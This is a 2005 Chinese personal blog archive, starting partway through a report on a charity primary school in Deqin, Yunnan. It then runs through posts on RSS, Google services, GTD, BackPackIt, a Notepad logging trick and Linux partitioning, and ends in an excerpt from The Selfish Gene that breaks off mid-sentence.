现在，学校已经获得英国慈善基金会（Carol女士负责此项目、英国义教Jane管理工程资金）的第一期建筑资金为11.2万元人民币。第一期基础建设工程将在2005年6月初结束，必须经过英国慈善基金会的工程审核后，方投入第二期的工程资金和第三期的装潢资金。新建学校只有教室和学生宿舍，因资金不足尚未设计教师宿舍。所以，若八月底新校舍建成后，义教们仍将住在旧校址漏风渗雨的木板房布篷内。三位女义教：分别是来自英国的Jane，教英语课（英国慈善基金会派遣教师，持教师执照，具备相当专业知识）。两位新义教的情况：一位是李女士，来自广东珠海，负责教数学课。另一位来自北京的王女士，负责教汉语。义教们自费到大众慈善小学教书，未获学校的任何工资及生活补贴。（因山中的居住条件较艰苦，所以义教们每两至三周会到奔子栏做一次休整。）每年Carol女士都会带团经过小学，会请学生们为英国的游客表演一场具有藏族特色的歌舞节目。每次英国游客赠予学生们一笔捐款，可补充学校的日常开销。（Carol女士最近一次到访时间是2005年5月初，为审核新校建设的工程进展。由于工程图纸在英国设计，中英翻译中出现误差，可能会延误第二期建筑资金到位及8月30日完工的日期。）

目前，学校需要1350元，为购买藏文课本（非中文课本，大家现在筹集的都是旧中文课本，且不完全适用）。需要汇款至拉萨，再由拉萨寄出藏文课本，周期至少需要一个月才能到达学校。备注：学校收到的现金捐款已够支付这笔藏文课本的费用，主要捐款人是Spaetlese（北京）、陈志忠（北京）和郑彪（山东，1000元捐款已于5月19日到达学校的农行帐户）。

目前学校存在的困难：

学校的管理与财务制度需要建立。

学校的电力使用问题，电力需求申请报告。

学校的藏文课本和英语课本未到。

新建教师宿舍的资金未筹集。

Jane的外国人工作签证未办理。

今后学生和教师的日常生活费来源。

Spaetlese 向校长尼玛、Jane提出的建议，如下：

请尼玛校长起草一份正式的申请函（里面有详细的学校简介及面临的困难，列清学校内不同民族、地区的学生情况，包括孤儿和单亲家庭儿童的学生数目）。将由Spaetlese送交北京有关部门，争取由政府解决学校的架建电缆、日常用电问题。

建议尼玛校长写一份2005年至2008年的学校发展计划：内容为目前收到的捐款、捐物清单，每一笔捐款的使用；未来以50位学生的名额统计，还将需要多少捐款捐助、义教的需求及工作周期，每年对电力的需求量。（不建议学校购买水力发电机，因为购买费用及每年的维护费用将更昂贵，而且水力发电机的维护工作较复杂，输电状况也不稳定。）

（注：5月18日我们已收到尼玛校长详细的多项申请报告、学校发展简介、新建学校预算表和土建工程预算表。Spaetlese将会在北京提交这份报告。）

学校理财制度的建议：希望能让Jane管理捐款（目前也是由她管理英国慈善基金会的捐款），义教们记帐（义教每学期都有可能替换，保证帐目的安全可靠），由尼玛校长来负责支出。

建议尼玛校长给学生分类，让义教去学生家中做家访、了解实际情况。对残疾、孤儿和单亲家庭的孩子免费教育，可考虑对双亲或经济较为宽裕家庭的学生收取一定的学费。

建议学校应支付义教的基本生活费，以保证她们的日常生活。

建议在云南地区招募义教（比如需要增加的音乐、美术课），教学周期为四个半月至九个月时间。

建议学生们半功半读。每年三个月的冬季假期里，女学生可以在家里和家人一起做刺绣品，收集后到大城市销售和义卖。（注：Spaetlese 将把刺绣品样品和材料寄给Jane）

撰稿、修改：朱迪资料提供：德钦县大众慈善小学尼玛校长、英国义教Jane 审查：Spaetlese 2005年5月20日

联络与咨询：尼玛校长：+86-133-204-33700 Jane：+86-139-8874-0843 namesti_jane@hotmail.com （请写英文信）

附1：德钦县大众慈善小学学生名单及家庭情况附2：德钦县大众慈善小学 2005年教师名单附3：Spaetlese 提供的2005年校况组图附4：自行车旅友提供的2004年校况组图

💬 历史评论

以下 11 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

利用META帮助FireFox浏览器发现RSS

Sun, 15 May 2005 01:55:42 +0800

有些人还在使用meta中添加keywords/description这种上个世纪的SEO方法：我感觉除了浪费用户的带宽外已经没有任何意义。虽然现在html代码中很多的meta信息仍然是给机器看的，对于用户仍然不可见，但目的已经有了一些改变：参考Blog发布系统MovableType的模板，我在自己网站的首页的meta中增加了以下3行：便于FireFox浏览器发现网站的RSS视图。

这3种RSS分别提供了：我在feedburner烧制的blog+del.icio.us，blog only和del.icio.us only，这样的首页对于蜘蛛更好的遍历网站和发现新页面也很有帮助。

在FireFox浏览器遇到这样的页面后：在右下角会有一个橙色的小图标，点击就可以进行RSS订阅了

在FireFox中订阅RSS后的效果如下：

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Mark · 2005-05-17 11:51

实践中发现，META对于GOOGLE的SEO是有影响的。而且在未来的应用中也会越来越有用，RSS是一方面。

Danny · 2005-05-19 04:57

我不大理解这3种代码对自己的MT系统有没有什么其他要去？比如已经安装了XX程序之类，只是添加上去即可？

另外，对其他浏览器适应吗？

Google论坛的“斑竹”

Fri, 13 May 2005 13:28:37 +0800

我觉得Google论坛中文界面的翻译挺逗的：斑竹！

不过也让人觉得挺本地化的：在一些高端产品/功能上，用一些网上俚语是不是也让网虫感觉很有亲和力呢？附：连用户使用的邮箱都能看出一个人的性格：The Gmail domain, for example, lets me know someone spends a lot of time online. Hotmail means it’s free, and I always use caution communicating.Yourname@yourname.com can intimate to some that you’re a jerk.

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

老康 · 2005-05-13 20:27

附里面的那篇文章挺有意思

deli · 2005-05-16 17:35

Google论坛，那么有意思啊！我看一下！

bennywen · 2005-05-18 16:11

车前辈。我用的lilina0.7，可是一些RSS用的是gb2312的编码，我知道你用lilina很久了，应该怎么解决这个问题。

还有msnspace过来的编码挺奇怪的，提交时没有报错，但是聚合后就是乱码，有什么解决方法么？

我不是搞程序的，希望浅显易懂些。谢谢。

Netforce · 2006-12-13 13:12

以用户为中心嘛！

[GTD]: Getting Things Done! 搞定

Thu, 12 May 2005 13:34:11 +0800

无论是工作还是生活中很多人都遇到过时间/事务管理的问题，有的朋友会问：有没有能将时间良好管理起来的工具。我觉得问题的关键不是工具：而是是否养成了正确的习惯，如果一种做法经过长期证明是一种正确的习惯/模式，顺着这个思路找一找，就会发现很多相应辅助工具可用：比如CVS，以前我整理的各种代码缩进整理工具也是这么搜集起来的。《Getting Things Done》是最近经常被朋友提到的一本书。我初步了解了一下这本数，找到很多这方面的讨论和书摘：43 Folders: Getting started with “Getting Things Done”。将其中一个使用的速查卡片摘录如下：以后逐步翻译成中文。

Five Stages of Workflow (Horizontal)

1. collect things that command our attention (anything personal or professional, big or little, that you think should be different than it currently is and that you have any level of internal commitment to changing) 1. get it all out of your head 2. minimize your collection buckets * physical in-basket * writing paper and pads * electronic note taking * auditory capture (answering machines, voicemail, dictating equipment) * email 3. empty the buckets regularly 2. process what they mean and what to do about them 1. what is it? 2. is it actionable? YES or NO * No 1. trash 2. incubate 1. someday/maybe list 2. tickler file (suspended or follow-on file; a 3D calendar) o 43 folders: + 31 Daily Files + 12 Monthly Files + Tomorrow's Date at the front 3. reference (reference should be information that can be easily referred to when needed) * Yes 1. What is the next action? o do it o delegate it o defer it o Project (anything requiring more than one step to accomplish the desired outcome) 2. actionable tracking 1. list of projects 2. storage or files for project plans and materials 3. calendar (time specific actions [appointments], day specific actions, day specific information) 4. list of reminders of next actions 5. a list of reminders of things you're waiting for (only review as often as they have to be in order to stop wondering about them) 3. organize the results 4. review the options 5. do 1. choosing actions in the moment 1. context 2. time available 3. energy available 4. priority

这本书中文译本：中信出版社2003年出版了。书名：叫搞定。《GTD练习簿》下载PDF

BackPackIt试用手记：在线的Onfolio

Wed, 04 May 2005 12:48:15 +0800

认识几个Top Blogger真的很有用：他们很多都是个人信息管理的专家，从他们那里可以得到很多新工具/服务的消息。 BackPack - 体验可读写的Web服务 | Owen’s Blog - 文心 WebLeOn’s Blog: 信息管理工具Backpack

我今天也试用了一下： BackPackIt还给每个用户准备了一个子域名 chedong.backpackit.com

第一作品是我的：五一出游计划，是花了20分钟从缺省的例子里改的：看来好的服务提供一个简单的例子还是很重要。用下来：感觉 TODO List + Notes Wiki 是很出色的2个部分，几乎将Onfolio的功能全部在浏览器中实现了，虽然File Sharing + Image Sharing是收费服务，但我仍准备用这个服务代替目前的SWiki上的在线记事本。

还记得以前写的：即时贴吧吗？那个服务也是使用类似的机制实现的：将浏览器做成一个瘦客户端来使用。“让WEB可写"真实非常有意思的一件事情。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

jim · 2005-05-04 16:16

好像设为public后,其它用户依然无法查看你的页面。

WebLeOn · 2005-05-04 21:40

虽然不能上传图片和文件，但用外部链接+外部free img/file host还是可以实现大部分功能。它的ajax我很喜欢，感觉用起来特别直观。

raenoll · 2005-05-04 21:42

就我这点事自己心里记记其实也不太复杂，也不需要劳烦这些webservice，最多也就记手机里remind一下，不过感觉以后工作多了这些东西可能就彰显效果了。偶的: raenoll.backpackit.com　呵呵，

零度高烧.闪 · 2005-05-06 18:11

用起来还算好，就是不提供免费的上传空间这一点我不太喜欢!呵呵，用不了呢，太没有意思了!

arthurme · 2005-05-07 00:50

共享某个具体的PAGE好像要要是类似下面的地址

http://chedong.backpackit.com/pub/xyz@#$

a · 2005-05-09 10:17

RSS在线服务的一些发展方向

Sat, 30 Apr 2005 09:13:52 +0800

首先声明：我并不是RSS的Heavy User，但是我常去gRaSSland找一些blogger的热门话题。

在线服务 Vs. 客户端：客户端的确是可以方便一些将RSS做为日常工作高端用户。但是和EMail一样：习惯基于WEB界面的Email还是要占大多数，所以在线服务还是会胜出的。而RSS阅读功能最后会被大多数EMail客户端所集成，比如目前的ThunderBird。 RSS做为再发布平台：BlogLines/FeedBurner

从这些服务中：我们可以看到很多RSS在线服务的

RSS的死链检查：很多RSS由于站点迁移等原因就失效了，很像你联系人的E-Mail地址：需要定期的清理，尽量保持自己的RSS数量在150以内（150定律）。

RSS的动态排序：基于用户点击的动态排序：经常使用的RSS自动排前面来，类似与Windows桌面上的动态开始菜单。

RSS容错性设计： RSS浏览器如果真的非常依赖XML解析器，我想最终胜出的，仍然是RSS容错性最好的工具和提供校验服务的平台。各种不规范的RSS真是太多了：RSS的URL设计也需要注意尽量避免使用动态网页：这样在OPML导出中可以避免很多&amp导致的XML错误。

RSS之间的SNS分析：我们可以将RSS背后的个人和他们之间的引用关系可以交织出一个更复杂的人际关系网络视图，这之间的链接关系和RANK机制和搜索引擎对网页RANKing机制是非常近似的。

RSS的自动分类：和新闻一样，我并不觉得RSS是一个能直接取得利润的商业模式，但是内容的自动分类能更快速的帮助用户获得一些更有价值的信息。

RSS做为在线频道书签： OPML的导入和导出工具。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

vback · 2006-04-01 08:02

我是rss阅读的heavy users.我的看法是： 1）在线rss阅读的最大缺点是速度慢。由于rss阅读的最主要特征是信息量大，所以阅读速度是关键。在线阅读如bloglines显然不能和rss客户端阅读器相提并论。 2）使用email客户端例如outlook或thunderbird作为rss阅读器并不是最佳选择，原因同样是阅读速度。假如你尝试过GreatNews阅读器就可以明白。 3）在线分享的功能，其实可以简单地通过del.icio.us和自己的blog实现，使用在线rss阅读器实在不高明。

Attention.XML: 由用户点击统计的行为分析想到的

Sat, 30 Apr 2005 02:30:31 +0800

我看了：Attention.XML - RSS延伸技术 | Owen’s Blog - 文心

点击统计对于用户行为分析的确非常重要，而Google很早就开始记录用户在搜索结果中的点击，但是即使是基于客户端JavaScript触发的点击统计也是很容易伪造的：不是有Referer SPAM吗？作为搜索引擎会如何利用基于用户点击统计的分析成果呢？我想有可能是基于Social Network的信用机制运用到搜索引擎的分级机制中，从某种程度上可以称之为TrustPeople机制吧。

如果基于Google History的可能点击行为分析：机器整理==>高端专家筛选==>机器发现：无论是HillTop还是TrustRank，核心都是一个高质量“专家级”种子网站的动态选取问题。

将GMail用户的点击行为记录下来并用于对高质量网站的区分和筛选是很有帮助的：因为GMail的用户通过邀请机制本身就形成了一个信用金字塔，离邀请内圈越近，其可信任度越高。GMail邀请圈的内圈人士也往往会是最大的“信息狂热份子”：他们对信息的挖掘和再生产程度都是非常深入的：通过他们也经常能动态发现一些新的动向（也许这就是需要体现：“群智”SocialBrain的地方了吧）。

搜索引擎的竞争归根结底是搜索引擎信用系统的竞争，而信用系统充分体现了搜索引擎开发者的价值观和搜索引擎用户的使用水平。

RSS：简单协议使得互联网可编程

Fri, 29 Apr 2005 18:46:48 +0800

2001年有关于肯德基的炸薯条断顿的事件报道。从中可以看到一种更高效的管理体系：对于快餐店这样全球性企业来说：要保证各地提供的薯条品质基本一致，成本最低的方法肯定是依靠机器而不是厨师，如果薯条机处理的土豆形状不一，机器的复杂程度和维护成本都会很高。所以土豆必须严格符合工业标准才能让结构比较简单的薯条机生产出符合标准的薯条。RSS和肯德基的土豆标准是一样的，体现了社会分工的细化：简单/可靠的规格意味更低高效的分工和更丰富的应用。

什么是RSS: Real Simple Syndication最能体现RSS的本意对于应用服务的开发者来说：应用和应用之间，企业和企业之间交换的数据好比就是土豆，白菜，按照严格的XML标准设计的接口的确能大大简化下游开发的后期加工机器成本：可以比较一下处理HTML网页的浏览器，比如：IE和FireFox等软件安装后大小都在10M以上，但一般处理XML的解析器工具包一般都在几百K就够了。这点在未来2，3年，随着移动终端的发展，像手机这样的硬件配置比较低的设备环境中显得尤其重要。

套用生产/代理/零售模式：而将这各个环节高效联系起来的：正是RSS/XML相关标准。生产商：RSS生产者包括Blog / 新闻网站等；代理商：RSS聚合服务： FeedBurner/ RSS搜索服务 TechnoRati 零售商：RSS阅读器(RSS Reader/Browser) 从中也可以看到一些MVC(The Model-View-Controller)模式的影子。

下面一些例子：看看RSS如何让互联网变得更加丰富

RSS的可编程性：以在线书签服务del.icio.us为例

从自身界面上看，del.icio.us是非常简朴的：

但del.icio.us为其他应用准备了各种RSS接口：

最简单的RSS应用：del.icio.us提供的RSS首先可以被其他网站进行远程同步：比如我将我的书签当成一个LinkBlog: 和我自己的常看的几个BLOG聚合一起，同步在我的个人门户上：一页天下晓。

更有其他人利用del.icio.us开放的RSS接口发展了更丰富的应用，比如：extispicious则可以根据你收藏的书签的分类tag的个数展现你的“脑图”；

HubLog: Graph del.icio.us related tags更是将del.icio.us所有用户收藏用的tag进行了汇总分类，可以看到不同用户收藏的Tag之间的“立体”联系：

从这些应用中可以看到：如果基于传统的HTML，同样的功能实现将变得非常复杂和不稳定，数据的再生产和交换成本是很高的。所以：RSS这个标准最终要的贡献就是使得互联网的大部分网站变得可编程：类似的例子还有Blog中的：TrackBack Ping等机制，这些机制都是依赖XML/RPC实现的。当初为Lucene设计一个RSS/XML的接口也是为了这个初衷，它使得全文检索服务可以轻松的嵌入到各种应用中，通过关键词将各种内容之间实现更丰富的关联(Well Referenced)。

其他的一些RSS扩展服务介绍：

RSS阅读：在线服务 Vs. 客户端客户端的确是可以方便一些将RSS做为日常工作高端用户：很多工具（RadioUserLand NewzCrawler）可以设置BLOG发布系统的帐号：MT Blogger在阅读过程中边看边发布评论，非常适合网络“蜜蜂”使用。

但是和EMail一样：习惯基于WEB界面的Email还是要占大多数，所以在线服务还是会胜出的。而RSS阅读功能最后会被大多数EMail客户端所集成，比如目前的ThunderBird。

RSS作为XML聚合再发布工具：RSS代理商如果你同时用del.icio.us的Link Blog，还喜欢用FlickR的photo blog，同时写自己的MovableType/WordPress网志和Blogger.com的服务，如何方便用户通过一个RSS订阅你所有的信息源呢？FeedBurner的功能原不止：它可以在RSS中组合多种数据源。原先原先需要进行多次订阅的数据源：现在用http://feeds.feedburner.com/blog2这一个URL即可，并且还添加了XSLT，可以比较高版本的IE浏览器中直接看到可读性较好的内容： Feedburner还提供一些商业性内容的嵌入，比如：Amazon的广告推广和最近推出的Google AdSense支持等。

很多RSS上面都有Add My Yahoo! / Subscribe with BlogLines这样的连接：都是由原来的分布式的用户间RSS订阅变成了一些半中心化的服务：中心化的服务的好处在于代理分工，可以节省BLOG发布者的RSS带宽，由于很多RSS软件每隔一定时间就来服务器上，这样对于一些受到带宽限制的虚拟主机用户来说，经常就会出现带宽不够的情况，转向到中心的大的代理服务商，的确是一个解决办法。而中心的代理商由于为很多RSS订户服务，因此可以充分利用本地的缓存提高派送效率：同时也减少了对RSS数据源的访问压力。因此：对于RSS中心服务商来说：主要要解决就是一个缓存机制问题： USER1 \ / RSS1 USER2 -[Rss Cache] - RSS2 USER3 / 虽然有一些中心化的风险：但是就像大家已经很少自己做馒头一样，更多丰富的功能添加还是应该由专业代理服务商进行的。

其他一些特色服务，RSS的死链检查和容错性设计：如果RSS数据源出现错误，BlogLines会进行一些提示。RSS浏览器如果真的非常依赖严格的XML解析器，我想最终胜出的仍然会是RSS容错性最好的工具和提供校验服务的平台。现在不规范的RSS真是太多了，RSS的URI设计也需要注意尽量避免使用动态网页：这样在OPML导出中可以避免很多&没有转移导致的XML解析错误。

NotePad老彩蛋：利用.LOG制作DeskLog

Wed, 27 Apr 2005 18:11:36 +0800

从Moslem那里看到的：Happy Accident ?!：转载如下如果听过新东方老罗语录，不知是否记得其中的一个“Happy Accident”的片断? 最近一堆事好不容易处理完了，中间偷了点空闲，无聊至极打开 Notepad 玩，无意之中点了一下帮助，发现 Notepad 还有这样一个特性：在文件的头部加上“.LOG”，这样每次打开文件时，焦点都会自动定位到文件结尾，并加注当前日期。有时间可以试试，比较有趣。现在才明白“记事本”（Notepad）是原来是这么个意思。

我尝试了一下：非常方便，立刻就介绍给了其他同事。注意：第一行.LOG一定要大写并顶头开始！（估计NotePad的log模式触发就是通过判断一个文本文件的头4个字节是不是".LOG"）在Windows XP/2000下测试通过。

每天都有很多事情需要随时记录：而让开发人员按照PSP 0.1的规范做到记录work hour也是一直非常头疼的事情。有了这个工具，把文件放到快捷启动栏里：方便多了。

面试工程师的时候我经常会了解一下他使用的工具，比如：cvs。工具不一定都非常复杂，更重要的是能否反映出一个人良好的学习习惯和工程修养。

从留言里看到：其实这个功能已经有了很久啦，从Win9x就开始了。更多Tips请看下面的留言：比如F5自动插入当前时间之类的，欢迎补充其实我个人用的最多的还是电子日记本。

💬 历史评论

以下 9 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ada · 2005-04-27 18:16

弓虽！

doubleaf · 2005-04-27 20:48

挺老了的。在notepad按F5还可以直接显示当时时间。

老康 · 2005-04-27 20:49

真的是耶，用了这么多年，还真没发现这个功能。

uncracker · 2005-04-27 21:18

不错

wohere · 2005-04-28 00:55

好，学了一招

p · 2005-04-28 04:02

似乎不是一般的old

xyb · 2005-04-28 09:29

wow，这是一个非常老的特性了，在win9x时代就已经有了。实际上notepad用F5也一样可以插入时间戳，不过那不是自动的。但我在工作的时候，不喜欢把文件一会儿打开一会儿关闭的，所以最后还是觉得这个特性起码是不适合我的。所以最后还是回来自己插入时间戳。在gedit里有插件完成同样的功能，还可以自己设置时间的格式，我喜欢。

gropher · 2005-05-02 23:17

help里面有介绍的哈 :)

Google在暗示一下代搜索技术？

Sat, 23 Apr 2005 10:13:03 +0800

从Google Blog上看到： In fact generally we focus on the next generation of Google’s crawling and indexing technology. We’ve got hard-core statisticians pondering how to measure search quality more accurately, and a slightly nutty project that we think might revolutionize the way that we organize and search structured information.

统计专家在Google一直是非常重要的角色：除了一直长期跟踪用户点击外，最近的个性化搜索历史更有助于从注册用户中从GMail后台人与人的邀请关系之间分析用户使用行为。但其中说到的：slightly nutty project是什么呢？会不会是自动分类……

作为互联网的“路由器”：搜索引擎是非常容易得到它给其他网站带去的流量和相应的关键词。但是搜索引擎给用户带来方便的同时：也带来一些集中化的倾向，如果用80/20原理来说的话：就是20%的网页获得了80%的流量。

这显然是不符合互联网的非中心化本质的：Google一直作为游戏规则的创立者，互联网是否也会越来越Googlized呢？

2005-04-26 终于想明白了一点：Google的History其实就是Google的del.icio.us，只不过： 1 用用户搜索的关键词代替del.icio.us的tagging输入； 2 用用户的点击代替了del.icio.us it的收藏动作； 3 也有对历史记录的收藏管理功能；

只是缺乏del.icio.us的对外发布和基于共同链接收藏找到“相同爱好”的SN机制，但我仍然不认同基于大众的tagging的过程是改善搜索的机制。

最近很多相关报道都不提到了一个“大众分类”概念：非专业用户如何对信息进行分类？ 43things GMail del.icio.us都是类似的典型应用。

Folksonomy的定义： Folksonomy is a neologism for a practice of collaborative categorization using freely chosen keywords. More colloquially, this refers to a group of people cooperating spontaneously to organize information into categories, noted because it is almost completely unlike traditional formal methods of faceted classification. This phenomenon typically only arises in non-hierarchical communities such as public websites as opposed to multi-level teams. Since the organizers of the information are usually its primary users, folksonomy produces results that more accurately reflect the population’s conceptual model of the information.

Partition Magic的EXT3问题：在笔记本上装Linux最好还是用ext2

Fri, 22 Apr 2005 23:16:19 +0800

看了Fedora Core 3 Linux on Thinkpad T42这篇文章后，终于明白了为什么Partition Magic会出 Error 117. Partition’s drive letter cannot be identified.错误信息：原来是遇到了ext3分区的缘故，我没有精力将原来安装的Debian转成ext2然后再转回来。于是只好将Debian的分区利用Windows的管理工具都删除了在再用PM进行分区。重新启动后，Grub出错，用Windows XP安装盘重新引导一次就好了（不用安装）。

所以：如果在桌面系统上安装Linux学习：最好还是用一些比较经典的文件系统像ext2，这样万一那天有需要重新划分硬盘分区，可以省缺不少麻烦。

今天仔细比较了一下：类聚后的搜索效果：vivisimo的确比Google更高效。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

自由狼-台风 · 2005-10-21 16:12

呵呵，RPWT。在大多数情况下，ext3只是被PQ识别为全部占满的ext2。

保护原创性：支持你！文心

Thu, 21 Apr 2005 21:34:18 +0800

写于4.20 | Owen’s Blog - 文心：如何保护原创性？我想不能依赖道德规范，更重要的是技术（包括法律）。另外，我已经很久无法给在你的内容上留言了……难道被blacklist了？

在BLOG模板中加入版权说明是一个很有效的方法……

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Kevin Wen · 2005-04-22 07:07

谢谢车东，最近也有其他朋友说无法留言？难道真的被Blacklist掉了？你再试试看。你装了blacklist吗？

回复：文心我也安装了mt-blacklist

登录了Google，反而不知道该搜什么好了……

Thu, 21 Apr 2005 11:05:41 +0800

Google Blog：Google推出了搜索的历史记录的查询：和a9.com的服务不同：不仅是关键词的记录，还有对搜索结果点击的记录（包括时间）。这次Google将你的Search Session完整的记录下来了，的确比my.search.yahoo.com方便不少。

登录后首页也有帐号显示了：不知道以后有没有GMail提醒功能不过更重要的是在搜索结果中：会显示以前点击过的结果的点击次数和最后使用时间

Google总是在不断的挑逗着高端用户：利用Blogger进行网志营销的确是非常高效的手段，我们可以看到skype和flickr在相关领域的表现。相比之下Yahoo的搜索很早也提供了类似的个性化服务，为什么没有什么声音呢？

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

老熊 · 2005-04-25 22:34

如果将他与Furl结合起来会更好，或者说如果Google的搜索历史如果支持Tag，会更好。

是将搜索历史保存在Google服务器上，还是以Cookie保存在客户端上？

the Selfish Gene节选：第五章进犯行为：稳定性和自私的机器

Wed, 20 Apr 2005 23:48:17 +0800

搜索博弈与纳什平衡：中提到《自私的基因》一书，其中很多案例堪称生物界“纳什平衡”的范例。节选：《稳定性和自私的机器》一章如下：其实我觉得互联网和生物界一样也是一个原始的丛林，极端自私并非是一个最好的策略选择……

第五章进犯行为：稳定性和自私的机器

　　本章所要讨论的主要是关于进犯行为这个在很大程度上被误解了的论题。我们将继续把个体作为一种自私的机器加以论述，这种机器的程序编制就是为了完成对它的作为一个整体的全部基因来说是最有益的任何事情。这种讲法是为了叙述的简便。本章结尾时我们将再回到以单个基因为对象的讲法。　　对某个生存机器来说，另一个生存机器（不是前者自己的子女，也不是另外的近亲）是它环境的一部分，就象一块岩石、一条河流或一块面包是它的环境一样。　　这另一个生存机器可以制造麻烦，但也能够加以利用。它同一块岩石或一条河流的一个重要区别在于：它往往要还击。因为它也是机器，拥有寄托着其未来的不朽基因，而且为了保存这些基因，它也会不惜赴汤蹈火。自然选择有利于那些能够控制其生存机器从而充分利用环境的基因，包括充分利用相同物种和不同物种的其他生存机器。　　有时，生存机器似乎相互不大影响对方的生活。举例说，鼹鼠同乌鸫不相互吞食，不相互交配，也不争夺居住地盘。即使如此，我们也不能认为它们老死不相往来。它们可能为某种东西而竞争，也许是争夺蚯蚓。这并不等于说你会看到鼹鼠和乌鸫为一条蚯蚓而你争我夺；事实上，一只乌鸫也许一生中也见不到一只鼹鼠。但是，如果你把鼹鼠种群消灭干净，对乌鸫可能产生明显的影响，尽管对于发生影响的细节，或通过什么曲折迁遇的间接途径发生影响，我都不敢妄加猜测。　　不同物种的生存机器以各种各样的方式相互发生影响。它们可能是肉食动物或被捕食的动物，是寄生虫或宿主，也可能是争夺某些稀有资源的对手。它们可以通过各种特殊方式被利用，例如，花利用蜜蜂作为花粉的传播者。　　属于同一物种的生存机器往往更加直接地相互影响对方的生活。发生这种情况有许多原因。原因之一是，自己物种的一半成员可能是潜在的配偶，而且对其子女来讲，它们有可能是勤奋和可以利用的双亲；另一个原因是，同一物种的成员，由于相互非常相似，由于都是在同一类地方保存基因的机器，生活方式又相同，因此它们是一切生活必需资源的更直接的竞争者。对乌鸫来说，鼹鼠可能是它的竞争对手，但其重要性却远不及另一只乌鸫。鼹鼠同乌鸫可能为蚯蚓而进行竞争，但乌鸫同乌鸫不仅为蚯蚓而且还为其他一切东西而相互争夺。如果它们属于同一性别，还可能争夺配偶。通常是雄性动物为争夺雌性配偶而相互竞争，其中道理我们将会看到。这种情况说明，如果雄性动物为与之竞争的另一只雄性动物造成损害的话，也许会给它自己的基因带来好处。　　因此，对生存机器来说，合乎逻辑的策略似乎是将其竞争对手杀死，然后最好是把它们吃掉。尽管自然界会发生屠杀和同类相食的现象，但认为这种现象普遍存在却是对自私基因的理论的一种幼稚的理解。事实上，洛伦茨在《论进犯行为》一书中就强调指出，动物间的搏斗具有克制和绅士风度的性质。他认为，动物间的搏斗有一点值得注意：它们的搏斗是一种正常的竞赛活动，象拳击或击剑一样，是按规则进行的。动物间的搏斗是一种手持钝剑或戴着手套进行的搏斗。威胁和虚张声势代替了真刀真枪。胜利者尊重降服的表示，它不会象我们幼稚的理论所能断言的那样，会给投降者以致命的打击或撕咬。　　把动物的进犯行为解释成是有克制的而且是有一定规格的行为，可能会引起争论。尤其是把可怜的历史悠久的人类说成是屠杀自己同类的唯一物种，是该隐（Cain）印记以及种种耸人听闻的此类指责的唯一继承人，显然都是错误的。一个博物学家是强调动物进犯行为暴力的一面、还是克制的一面，部分取决于他通常所观察的动物的种类，部分取决于他在进化论方面的偏见，洛伦茨毕竟是一个主张"物种利益"的人。即使对动物搏斗方式的描述有些言过其实，但有关动物文明搏斗的观点至少是有些道理的。表面上看，这种现象似乎是一种利他主义的形式。自私基因的理论必须承担对这种现象作出解释这一艰巨任务。为什么动物不利用每一个可能的机会竭尽全力将自己物种的竞争对手杀死呢？对这一问题的一般回答是，那种破釜沉舟的好斗精神不但会带来好处，而且也会造成损失，而且不仅仅是时间和精力方面的明显损失。举例说，假定B和C都是我的竞争对手，而我又正好同B相遇。我作为一个自私的个体，按理讲我应想法将B杀死。但先别忙，请听我说下去。C既是我的对手，也是B的对手。如果我将B杀掉，就为C除掉了一个对手，我就无形中为C做了一件好事。假使我让B活着也许更好些，因为这样B就可能同C进行竞争或搏斗，我也就可以坐收渔翁之利。不分青红皂白地去杀死对手并无明显的好处，这个假设的简单例子的寓意即在于此。　　在一个庞大而复杂的竞争体系内，除掉一个对手并不见得就是一件好事，其他的竞争对手很可能比你从中得到更多的好处。那些负责控制虫害的官员们所得到的就是这类严重的教训。你遇到了一场严重的农业虫害，你发现了一种扑灭这场虫害的好办法，于是你高高兴兴地按这个办法去做了。殊不知这种害虫的消灭反而使另外一种害虫受益，其程度甚至超过对人类农业的好处。结果是，你的境遇比以前还要糟。　　另一方面，有区别地把某些特定的竞争对手杀死，或至少与其进行搏斗，似乎是一个好主意。如果B是一只象形海豹（elephant seal），拥有一大群"妻妾"（harem），而我也是一只象形海豹，把它杀死我就能够把它的"妻妾"弄到手，那我这样做可能是明智的。但即使在有选择性的搏斗中也会有损失，也是要冒风险的。进行还击以保卫其宝贵的财产对B是有利的。如果是我挑起一场搏斗的话，我的下场同它一样，很可能以死亡告终。说不定我死它不死的可能性甚至更大。我想同它进行搏斗是因为它掌握着一种宝贵的资源。但它为什么会拥有这种资源的呢？它也许是在战斗中赢来的。在和我交手以前，它也许已经击退过其他的挑战者。它可能是一个骁勇善战的斗士。就算是我赢了这场搏斗而且得到了这群"妻妾"，但我可能在搏斗的过程中严重受伤，以致不能够享用得来的好处。而且，搏斗耗尽了时间和精力。把时间和精力暂时积蓄起来说不定更好。如果我一门心思进食，并且在一段时间内不去惹事生非，我会长得更大和更强壮。　　最终我是会为争夺这群"妻妾"而同它进行搏斗的，但如果我等待一下而不是现在就勿促上阵，我获胜的机会可能更大。　　上面这段自我独白完全是为了说明：在决定要不要进行搏斗之前，最好是对"得-失"进行一番如果说是无意识的、但却是复杂的权衡。尽管进行搏斗无疑会得到某些好处，但并非只有百利而无一弊。同样，在一场搏斗的过程中，牵涉到让搏斗升级还是缓和下来的每一个策略上的决定都各有其利弊，而且这些利弊在原则上都可以进行分析。个体生态学家对这种情况早已有所了解，尽管这种了解还不太清晰明确，但只有史密斯才能有力地和明确地表明了这种观点，而通常并不认为他是一位生态学家。他同普赖斯（G.R.Price）和帕克（G. A.Parker）合作运用称为博奕论（Game Theory）这一数学上的分支。他们的独到的见解能够用语言而不用数学符号表达出来，尽管其精确程度因此有某些损失。　　进化上的稳定策略（evolutionarily stable 